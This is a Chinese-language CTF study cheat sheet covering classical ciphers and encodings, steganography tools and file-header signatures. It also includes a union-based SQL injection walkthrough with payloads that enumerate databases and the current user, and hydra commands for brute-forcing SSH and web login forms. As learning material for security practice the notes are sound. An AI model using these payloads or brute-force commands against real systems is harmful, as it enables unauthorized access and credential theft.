密码学
JSfuck
- 标志:以[]开头,以()结尾
解密:JSfuck or 浏览器
F12
打开Console控制台
,粘贴密文按回车即可解密AAencode
PPencode
length q closedir vec and print chr ord q open no and print chr ord q or no and print chr ord q sin s and print chr ord qw q ne q and print chr ord q lt eval and print chr ord q q eq and print chr length q q ge getc getpriority printf split q and print chr ord qw q fcntl q and print chr ord qw q lc q and print chr ord q each le and print chr ord qw q ge q and print chr length q q readdir ge chop link syscall chroot binmode for length setservent dbmopen uc getnetbyname getpwnam rename stat study pack q and print chr ord q open no and print chr ord q split s and print chr oct hex ord uc q my m and print chr ord q ge log and print chr ord qw q ne q and print chr ord q oct no and print chr ord q pop and print chr ord qw q die q and print chr ord q ge log and print chr oct oct hex ord q ref or and print chr length q q ge getc getpriority printf split q
Brainfuck
Brainfuck是一种极小化的计算机语言,只有八种符号,所有的操作都由这八种符号(> < + - . , [ ])的组合来完成。
解密:Brainfuck
ASCII
ADFGX
ADFGX密码(ADFGX Cipher)结合了改良过的Polybius方格替代密码与单行换位密码的矩阵加密密码,使用了5个合理的密文字母:A,D,F,G,X,这些字母之所以这样选择是因为当转译成摩尔斯电码(ADFGX密码是德国军队在一战发明使用的密码)不易混淆;
(明文FOX —加密-> FA DX FF )
Unicode/URL
-
Base32/64编码
原理:base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应4个base64单元,即3个字节可表示4个可打印字符。在base64中的可打印字符包括
A-Z、a-z、0-9,+、/
,共64个可打印字符;如果要编码的字节数不能被3整除,最后会多出1个或2个字节,那么可以使用下面的方法进行处理:先使用0字节值在末尾补足,使其能够被3整除,然后再进行base64的编码。在编码后的base64文本后加上一个或两个“=”号,代表补足的字节数。也就是说,当最后剩余一个八位字节(一个byte)时,最后6位的base64字节块有四位是0值,最后附加上两个等号;如果最后剩余两个八位字节(2byte)时,最后一个6位的base字节块有两位是0值,最后附加一个等号- 标志:等号作后缀,数目可能为0/1/2个
- 加密:文本 ->ASCII编码 ->转换二进制 ->计算索引 ->得到Base64编码
例:文本M ->ASCII编码为77 ->十进制转化成二进制为01001101 ->即索引值19 ->Base64编码为T - 解密:
盲文
颜文字
- jjencode/aaencode
- jjencode -> 将JS代码转换成只有符号的字符串
- aaencode -> 将JS代码转换成常用的网络表情
解密:浏览器
F12
打开Console控制台
,粘贴密文按回车即可解密九宫格
-
敲击码
栅栏密码
栅栏密码(Rail-fence Cipher)就是把要加密的明文分成N个一组,然后把每组的第1个字符组合,每组第2个字符组合…每组的第N(最后一个分组可能不足N个)个字符组合,最后把他们全部连接起来就是密文
置换密码
凯撒密码
凯撒密码(Caesar Cipher或称恺撒加密、恺撒变换、变换加密、位移加密)通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。
摩斯密码
猪圈密码
猪圈密码(Pigpen Cipher或称朱高密码、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码
维吉尼亚密码
维吉尼亚密码(Vigenère Cipher)是在单一恺撒密码的基础上扩展出多表代换密码,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计
- 密钥(循环使用,密钥越长相对破解难度越大)
- 加密:第一行为明文字母,第一列为密钥字母 -> 明文字母列和密钥字母行的交点就是密文字母
(如明文字母T
列 和 密钥字母C
行 -> 交点为 密文V
)
传送门
- 各种密码加密与解密
- Unicode/URL解码
- ASCII 在线转换器
- Base64加解密
- Brainfuck
- JSfuck
SQL注入
1. 判断注入点
``` - and 1=1 -> 正常
- and 1=2 -> 报错
—> 发现页面显示不一样,是注入点
```
2. 爆库
```sql (mysql>5.0的版本才有information_schema,存储着mysql 所有库和表结构信息)
- 查看当前使用数据库
- and 1=2 union select 1,database()
- 爆表
- union select 1,table_name from information_schema.tables where table_schema=’当前库名’
- 查看当前表中字段
- union select 1,column_name from information_schema.columns where table_schema=’当前库名’
- 爆字段内容
- and 1=1 union select 1,2
- 查看列
- union select 1,列名 from 表名
- 爆出所有库
- union select 1,schema_name from information_schema.schemata
and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.schemata ```
3.工具
SQLmap -> sql自动注入(需要Python2.7环境)
4. 其他
(1) 猜解字段
```
- order by a
- order by b
—> 若发现a正常b不正常,则字段数是a
and 1=2 union select 1,2 select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5<a name="1cU9B"></a>
###### (2)爆字段位置
<a name="LlMF6"></a>
###### (3)查看mysql基本信息
- and 1=2 union select 1,version() ——- 查看数据库版本
- and 1=2 union select 1,database() —— 查看当前使用的数据库
- and 1=2 union select 1,user() ———查看当前数据库用户
- and ord(mid(user(),1,1))=114 ——— 判断用户是否为root
```
(4)单独爆库
```sql 第一个数据库 - and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 第二个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 第三个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 第四个数据库
- and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3 第五个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4, ```
隐写术
1.工具
Stegosolve:图片分析
- File Format 分析图片
- Frame Browser 逐帧查看
- Winhex:二进制分析
- Cool Edit Pro:音频分析
- MP3stego:音频分析
- binwalk:文件隐写分析
- F5-steganography:F5隐写
- ZipCenOp:伪加密
- Crunch:字典生成器
-
2.部分工具用法
binwalk
默认分离
binwalk -e xxx.xxx
dd命令分离# dd if=xxx.xx of=a.xxx skip=12345 bs=1
[ if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过12345个块后再开始复制,bs设置每次读写块的大小为1字节 ]MP3stego
Decode -X -P password xxx.mp3
加密:encode -E (里面放要加密的txt信息) -P (密码) (需要将密码放入的wav文件) (生产的mp3文件)
解密:decode -X -P (密码)(要解密的文件)
F5-steganography
java Extract xxx.jpg -p password
ZipCenOp
伪加密解压命令
java -jar ZipCenOp.jar r xxxx.zip
Crunch
Crunch字典生成器路径:
/usr/share/crunch
crunsh MinSize MaxSize 字典元素(如123456) -o 存放文本名(a.txt)
hydra
#命令
先nmap扫一波端口
hydra -l root(用户名,或-L+字典) -P unix_passwords.txt(字典) IP -v ssh(服务)
例:hydra -l admin -P unix_passwords.txt 172.26.16.128 */wp-login.php:log=^USER^&pwd=^PASS^ :"login_error"
字典路径:/usr/share/wordlists/
/usr/share/wordlists/metasploit
unix_passwords.txt //小字典
password.lst //大字典
unix_users.txt //用户名
windows常用用户名 administrator/admin
-R 修复之前使用的aborted/crashed session
-S 执行SSL(Secure Socket Layer)连接
-s Port 使用非默认服务器端口而是其他端口时,指定其端口
-l Login 已经获取登录ID的情况下输入登录ID
-L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
-p Pass 已经获取登录密码的情况下输入登录密码
-P FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
-x MIN:MAX:CHARSET 暴力破解时不指定文件,而生成可满足指定字符集和最短、最长长度条件的密码来暴力破解
-C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
-M FILE指定实施并列攻击的文件服务器的目录文件
-o FILE以STDOUT的形式输出结果值
-f 查找到第一个可以使用的ID和密码的时候停止破解
-t TASKS 指定并列连接数(默认值:16)
-w 指定每个线程的回应时间(Waittime)(默认值:32秒)
-4/6 指定IPv4/IPv6(默认值:IPv4)
-v/-V显示详细信息
-U 查看服务器组件使用明细
get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -o 保存文本名 -V -f -s 目标端口 ip 协议 "/login.php:<表单用户名属性>=^USER^&<表单密码属性>^PASS^:<返回错误信息>"
hydra -l admin -P unix_passwords.txt -o ok.lst -v -f -s 8253 172.26.16.7 http-post-form "/login.php:username=^USER^&password=^PASS^:password error"
参数说明:
-l 用户名是admin,-P 字典password.lst,-o 保存为out.txt,
-f 当破解了一个密码就停止
-s 目标端口,默认80
目标ip 172.26.16.7
http-post-form 表示破解是采用http的post方式提交的表单密码破解
【 "/login.php:username=^USER^&password=^PASS^:password error" 】
"<url路径>:<表单用户名属性>=^USER^&<表单密码属性>^PASS^:<返回错误信息>"
<url路径> /login.php
<表单参数> F12查看表单属性(如username,password),并用^USER^ ^PASS^代替
<返回值> 可以定义登录正确的返回值S=,也可以定义登录错误的返回值F=,默认是F=
<url路径>:<表单参数>:<返回值>
3.常见文件格式
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
- JPEG (jpg),文件头:FFD8FFE0 文件尾:FF D9
- PNG (png),文件头:89504E47
- GIF (gif),GIF89A 文件头:47494638
- XML (xml),文件头:3C3F786D6C
- HTML (html),文件头:68746D6C3E
- MS Word/Excel (xls.or.doc),文件头:D0CF11E0
- MS Access (mdb),文件头:5374616E64617264204A
- Adobe Acrobat (pdf),文件头:255044462D312E
- Windows Password (pwl),文件头:E3828596
- ZIP Archive (zip),文件头:504B0304
- RAR Archive (rar),文件头:52617221
- Wave (wav),文件头:57415645
- AVI (avi),文件头:41564920